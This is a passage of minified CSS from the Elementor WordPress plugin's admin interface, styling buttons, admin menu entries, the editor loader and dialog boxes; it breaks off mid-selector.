.e-btn.elementor-button-danger, #elementor-deactivate-feedback-modal .elementor-button-danger.dialog-skip, #elementor-deactivate-feedback-modal .elementor-button-danger.dialog-submit, .e-btn.e-danger, #elementor-deactivate-feedback-modal .e-danger.dialog-skip, #elementor-deactivate-feedback-modal .e-danger.dialog-submit { background-color: var(--e-a-btn-bg-danger); } .elementor-button.elementor-button-danger:hover, .elementor-button.elementor-button-danger:focus, .elementor-button.e-danger:hover, .elementor-button.e-danger:focus, .e-btn.elementor-button-danger:hover, #elementor-deactivate-feedback-modal .elementor-button-danger.dialog-skip:hover, #elementor-deactivate-feedback-modal .elementor-button-danger.dialog-submit:hover, .e-btn.elementor-button-danger:focus, #elementor-deactivate-feedback-modal .elementor-button-danger.dialog-skip:focus, #elementor-deactivate-feedback-modal .elementor-button-danger.dialog-submit:focus, .e-btn.e-danger:hover, #elementor-deactivate-feedback-modal .e-danger.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-danger.dialog-submit:hover, .e-btn.e-danger:focus, #elementor-deactivate-feedback-modal .e-danger.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-danger.dialog-submit:focus { background-color: var(--e-a-btn-bg-danger-hover); } .elementor-button i, .e-btn i, #elementor-deactivate-feedback-modal .dialog-skip i, #elementor-deactivate-feedback-modal .dialog-submit i { margin-inline-end: 5px; } #adminmenu #toplevel_page_elementor div.wp-menu-image:before { content: "\e813"; font-family: eicons; font-size: 18px; margin-block-start: 1px; } #adminmenu #toplevel_page_elementor a[href="admin.php?page=go_elementor_pro"] { font-weight: 600; background-color: #93003f; color: #ffffff; margin: 3px 10px 0; display: block; text-align: center; border-radius: 3px; transition: all 0.3s; } #adminmenu #toplevel_page_elementor a[href="admin.php?page=go_elementor_pro"]:hover, #adminmenu #toplevel_page_elementor a[href="admin.php?page=go_elementor_pro"]:focus { background-color: #c60055; box-shadow: none; } #adminmenu #menu-posts-elementor_library .wp-menu-image:before { content: "\e8ff"; font-family: eicons; font-size: 18px; } #e-admin-menu__kit-library { color: #5cb85c; } .elementor-plugins-gopro { color: #93003f; font-weight: bold; } .elementor-plugins-gopro:hover, .elementor-plugins-gopro:focus { color: #c60055; } #elementor-switch-mode { margin: 15px 0; } #elementor-switch-mode-button, #elementor-editor-button { outline: none; cursor: pointer; } #elementor-switch-mode-button i, #elementor-editor-button i { margin-inline-end: 3px; font-size: 125%; font-style: normal; } body.elementor-editor-active .elementor-switch-mode-off { display: none; } body.elementor-editor-active #elementor-switch-mode-button { background-color: #f7f7f7; color: #555; border-color: #ccc; box-shadow: 0 1px 0 #ccc !important; text-shadow: unset; } body.elementor-editor-active #elementor-switch-mode-button:hover { background-color: #e9e9e9; } body.elementor-editor-active #elementor-switch-mode-button:active { box-shadow: inset 0 1px 0 #ccc; transform: translateY(1px); } body.elementor-editor-active #postdivrich { display: none !important; } body.elementor-editor-active .block-editor-block-list__layout { display: none; } body.elementor-editor-inactive .elementor-switch-mode-on { display: none; } body.elementor-editor-inactive #elementor-editor { display: none; } body.elementor-editor-active .editor-block-list__layout { display: none; } body.elementor-editor-active .edit-post-layout__content .edit-post-visual-editor { flex-basis: auto; } body.elementor-editor-active #elementor-editor { margin-block-end: 50px; } body.elementor-editor-active .edit-post-text-editor__body .editor-post-text-editor { display: none; } body.elementor-editor-active :is(.is-desktop-preview, .is-tablet-preview, .is-mobile-preview) :is(.editor-styles-wrapper, iframe[name=editor-canvas]) { height: auto !important; padding: 0 !important; flex: 0 !important; } body .block-editor #elementor-switch-mode { margin: 0 15px; } body .block-editor #elementor-switch-mode .button { margin: 2px; height: 33px; font-size: 13px; line-height: 1; } body .block-editor #elementor-switch-mode .button i { padding-inline-end: 5px; } .elementor-button { font-size: 13px; text-decoration: none; padding: 15px 40px; } #elementor-editor { height: 300px; width: 100%; transition: all 0.5s ease; } #elementor-editor .elementor-loader-wrapper { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 300px; display: flex; flex-direction: column; align-items: center; gap: 30px; } #elementor-editor .elementor-loader { border-radius: 50%; padding: 40px; height: 150px; width: 150px; background-color: var(--e-a-bg-active); box-sizing: border-box; box-shadow: 2px 2px 20px 4px rgba(0, 0, 0, 0.02); } #elementor-editor .elementor-loader-boxes { height: 100%; width: 100%; position: relative; } #elementor-editor .elementor-loader-box { position: absolute; background-color: var(--e-a-color-txt-hover); animation: load 1.8s linear infinite; } #elementor-editor .elementor-loader-box:nth-of-type(1) { width: 20%; height: 100%; left: 0; top: 0; } #elementor-editor .elementor-loader-box:not(:nth-of-type(1)) { right: 0; height: 20%; width: 60%; } #elementor-editor .elementor-loader-box:nth-of-type(2) { top: 0; animation-delay: calc(1.8s / 4 * -1); } #elementor-editor .elementor-loader-box:nth-of-type(3) { top: 40%; animation-delay: calc(1.8s / 4 * -2); } #elementor-editor .elementor-loader-box:nth-of-type(4) { bottom: 0; animation-delay: calc(1.8s / 4 * -3); } #elementor-editor .elementor-loading-title { color: var(--e-a-color-txt); text-align: center; text-transform: uppercase; letter-spacing: 7px; text-indent: 7px; font-size: 10px; width: 100%; } #elementor-go-to-edit-page-link { height: 100%; display: flex; justify-content: center; align-items: center; border: 1px solid #DDD; background-color: #F7F7F7; text-decoration: none; position: relative; font-family: Sans-serif; } #elementor-go-to-edit-page-link:hover { background-color: #ffffff; } #elementor-go-to-edit-page-link:focus { box-shadow: none; } #elementor-go-to-edit-page-link.elementor-animate #elementor-editor-button { display: none; } #elementor-go-to-edit-page-link:not(.elementor-animate) .elementor-loader-wrapper { display: none; } .elementor-button-spinner:before { font: normal 20px/0.5 dashicons; speak: none; display: inline-block; padding: 0; inset-block-start: 8px; inset-inline-start: -4px; position: relative; vertical-align: top; content: "\f463"; } .elementor-button-spinner.loading:before { animation: rotation 1s infinite linear; } .elementor-button-spinner.success:before { content: "\f147"; color: #46b450; } .elementor-blank_state { padding: 5em 0; margin: auto; max-width: 520px; text-align: center; font-family: var(--e-a-font-family); } .elementor-blank_state i { font-size: 50px; } .elementor-blank_state h3 { font-size: 32px; font-weight: 300; color: inherit; margin: 20px 0 10px; line-height: 1.2; } .elementor-blank_state p { font-size: 16px; font-weight: normal; margin-block-end: 40px; } .elementor-blank_state .elementor-button { display: inline-block; } #available-widgets [class*=elementor-template] .widget-title:before { content: "\e813"; font-family: eicons; font-size: 17px; } .elementor-settings-form-page { padding-block-start: 30px; } .elementor-settings-form-page:not(.elementor-active) { display: none; } ._elementor_settings_update_time { display: none; } #tab-advanced .form-table tr:not(:last-child), #tab-performance .form-table tr:not(:last-child), #tab-experiments .form-table tr:not(:last-child) { border-block-end: 1px solid #dcdcde; } #tab-advanced .form-table tr .description, #tab-performance .form-table tr .description, #tab-experiments .form-table tr .description { font-size: 0.9em; margin: 10px 0; max-width: 820px; } body.post-type-attachment table.media .column-title .media-icon img[src$=".svg"] { width: 100%; } .e-major-update-warning { margin-block-end: 5px; max-width: 1000px; display: flex; } .e-major-update-warning__separator { margin: 15px -12px; } .e-major-update-warning__icon { font-size: 17px; margin-inline-end: 9px; margin-inline-start: 2px; } .e-major-update-warning__title { font-weight: 600; margin-block-end: 10px; } .e-major-update-warning + p { display: none; } .notice-success .e-major-update-warning__separator { border: 1px solid #46b450; } .notice-success .e-major-update-warning__icon { color: #79ba49; } .notice-warning .e-major-update-warning__separator { border: 1px solid #ffb900; } .notice-warning .e-major-update-warning__icon { color: #f56e28; } .plugins table.e-compatibility-update-table tr { background: transparent; } .plugins table.e-compatibility-update-table tr th { font-weight: 600; } .plugins table.e-compatibility-update-table tr th, .plugins table.e-compatibility-update-table tr td { min-width: 250px; font-size: 13px; background: transparent; box-shadow: none; border: none; padding-block-start: 5px; padding-block-end: 5px; padding-inline-end: 15px; padding-inline-start: 0; } .dialog-widget-content { background-color: var(--e-a-bg-default); position: absolute; border-radius: 3px; box-shadow: 2px 8px 23px 3px rgba(0, 0, 0, 0.2); overflow: hidden; } .dialog-message { line-height: 1.5; box-sizing: border-box; } .dialog-close-button { cursor: pointer; position: absolute; margin-block-start: 15px; inset-inline-end: 15px; color: var(--e-a-color-txt); font-size: 15px; line-height: 1; transition: var(--e-a-transition-hover); } .dialog-close-button:hover { color: var(--e-a-color-txt-hover); } .dialog-prevent-scroll { overflow: hidden; max-height: 100vh; } .dialog-type-lightbox { position: fixed; height: 100%; width: 100%; bottom: 0; left: 0; background-color: rgba(0, 0, 0, 0.8); z-index: 9999; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .elementor-editor-active .elementor-popup-modal { background-color: initial; } .dialog-type-confirm .dialog-widget-content, .dialog-type-alert .dialog-widget-content { margin: auto; width: 400px; padding: 20px; } .dialog-type-confirm .dialog-header, .dialog-type-alert .dialog-header { font-size: 15px; font-weight: 500; } .dialog-type-confirm .dialog-header:after, .dialog-type-alert .dialog-header:after { content: ""; display: block; border-block-end: var(--e-a-border); padding-block-end: 10px; margin-block-end: 10px; margin-inline-start: -20px; margin-inline-end: -20px; } .dialog-type-confirm .dialog-message, .dialog-type-alert .dialog-message { min-height: 50px; } .dialog-type-confirm .dialog-buttons-wrapper, .dialog-type-alert .dialog-buttons-wrapper { padding-block-start: 10px; display: flex; justify-content: flex-end; gap: 15px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button, .dialog-type-alert .dialog-buttons-wrapper .dialog-button { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover { border: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:active { background-color: var(--e-a-btn-bg-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]), .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]) { cursor: pointer; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled { background-color: var(--e-a-btn-bg-disabled); color: var(--e-a-btn-color-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon { display: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel { background: transparent; color: var(--e-a-color-txt); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:disabled, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:disabled, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:disabled, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border { border: 1px solid var(--e-a-color-txt-muted); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success { background-color: var(--e-a-btn-bg-success); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus { background-color: var(--e-a-btn-bg-success-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel { background: transparent; color: var(--e-a-color-primary-bold); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-alert 